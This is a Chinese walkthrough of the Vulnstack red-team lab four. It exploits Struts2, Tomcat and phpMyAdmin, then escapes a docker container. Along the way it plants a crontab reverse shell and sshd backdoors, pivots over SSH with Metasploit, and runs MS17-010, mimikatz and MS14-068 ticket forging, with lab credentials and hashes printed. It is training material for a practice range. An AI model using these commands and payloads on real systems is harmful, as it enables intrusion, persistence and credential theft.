文章目录
-
- 环境搭建
- 官方描述
- 外网信息收集与利用
-
- struts2
- Tomcat
-
- phpmyadmin
-
- CVE-2018-12613 远程文件包含
- 任意命令执行
- 包含session文件
- docker 逃逸
-
- 权限维持
-
- 内网渗透
-
-
- 通过ssh 做 socks代理
- MS17-010
- MS14-068
环境搭建
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

官方描述
大家好红日安全红队靶场(四)已经出来,本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞,希望大家多多利用。
红队评估四靶场描述
第一次搭建靶机,如有啥不足或问题,欢迎各位师傅在vlunstack微信群里提出,向师傅们学习
靶场学习路径,可参考
st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
环境说明
机器密码
ubuntu:ubuntu域成员机器
douser:Dotest123DC:
administrator:Test2008
环境是在Ubuntu上用docker做的,需要启动docker容器
docker start ec 17 09 bb da 3d ab ad
外网信息收集与利用
ubuntu 端口

来看看分别有什么
2001 一个文件上传

2002 一个tomcat

2003 一个phpmyadmin,这个没有密码就直接进来了。。。

struts2
先来看看这个文件上传,页面title写的是struts2
直接丢payload检测
S2-045
S2-045



Tomcat
任意文件写入
CVE-2017-12615 任意文件写入
这个漏洞利用需要在windows环境, 需要将readonly 初始化参数由默认值设置为 false,就可以通过构造jsp文件到服务器。

环境是docker做的,这个payload已经不属于CVE-2017-12615的范畴了,这种方式适用于win及linux系统。
Payload
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
wpsec


phpmyadmin
phpmyadmin 4.8.1

CVE-2018-12613 远程文件包含
payload
http://192.168.3.103:2003/
?target=tbl_zoom_select.php?/../../../../../../etc/hosts

任意命令执行
这个数据库有一个叫test的数据库,可以向里面任意信息,因为php包含的文件都会以php解析,所以可以写入相应php代码执行任意命令,但是我这里测试没有成功,因为作者这个环境是用的两个docker容器,站库分离。
查看本地数据库路径
创建一个rce表,向表内插入php语句,包含执行
show global variables like "%datadir%";
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("");
包含session文件
想要包含session文件需要知道存放的session临时文件位置和session命名规则


http://192.168.3.103:2003/index.php?target=db_datadict.php%253f../../../../../../../../../tmp/sess_bbbf00d597f5456ab9fdf0db25ff3912

docker 逃逸
通过前面三种漏洞利用都可以getshell
进入后进行信息收集,及判断是否为docker环境
查看ip信息与系统版本
查看.dockerenv 文件
查询系统进程的cgroup信息
非docker环境一般不会有dockerenv文件,但如果dockerfile写的比较好的也有可能没有这个文件。
ls -alh /.dockerenv
cat /proc/1/cgroup

利用特权模式逃逸
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
创建一个文件夹,将宿主机根目录挂载至容器目录下
fdisk -l
mkdir /wpsec
mount /devsda1 /wpsec

写一条nc的计划任务,反向连接回来

sed -i '$a*/2 * * * * root bash /wpsec/var/tmp/root ' /wpsec/etc/crontab
nc -nvlp 12340
另外我尝试了 dirty cow 逃逸,但是没能利用成功

权限维持
普通root组用户
useradd test1 -g 0 -s /bin/bash
ssh软连接后门
软连后门需要root执行后门命令,任意密码登录
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345

内网渗透
进入ubuntu后发现ubuntu还有一张网卡

通过ssh 做 socks代理
上msf,做正向连接
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12343 -f elf -o wpsec
转发 ssh 端口
portfwd add -r 127.0.0.1 -p 22 -l 2222

做 ssh 隧道转发
ssh -f -N -D 127.0.0.1:1080 [email protected] -p 2222

添加一条 proxychains4 socks代理

通过msf扫描arp查看内弯主机
run post/windows/gather/arp_scanner rhosts=192.168.183.0/24
通过bash查看内网主机
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

在通过 proxychains 扫描内网指定ip
proxychains bash
nmap -sV -sT -Pn -n 192.168.183.129-130

作者描述中有提到历史命令信息泄露
但是我找了找,除了作者搭建过程,没发现有用信息

内网共两台主机
192.168.183.130 - Windows Server 2008 R2
192.168.183.129 - Windows 7 - 10 microsoft-ds

MS17-010
两台win机器都有17010


加载msf自带的kiwi模块抓取密码,但是并没有抓到明文

创建用户分配管理员权限开启RDP
run getgui -u wpsec -p pwd

MS14-068
上传 mimikatz

收集相关信息
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123

上传MS14-068
MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

通过 mimikatz 导入TGT票据
kerberos::ptc [email protected]
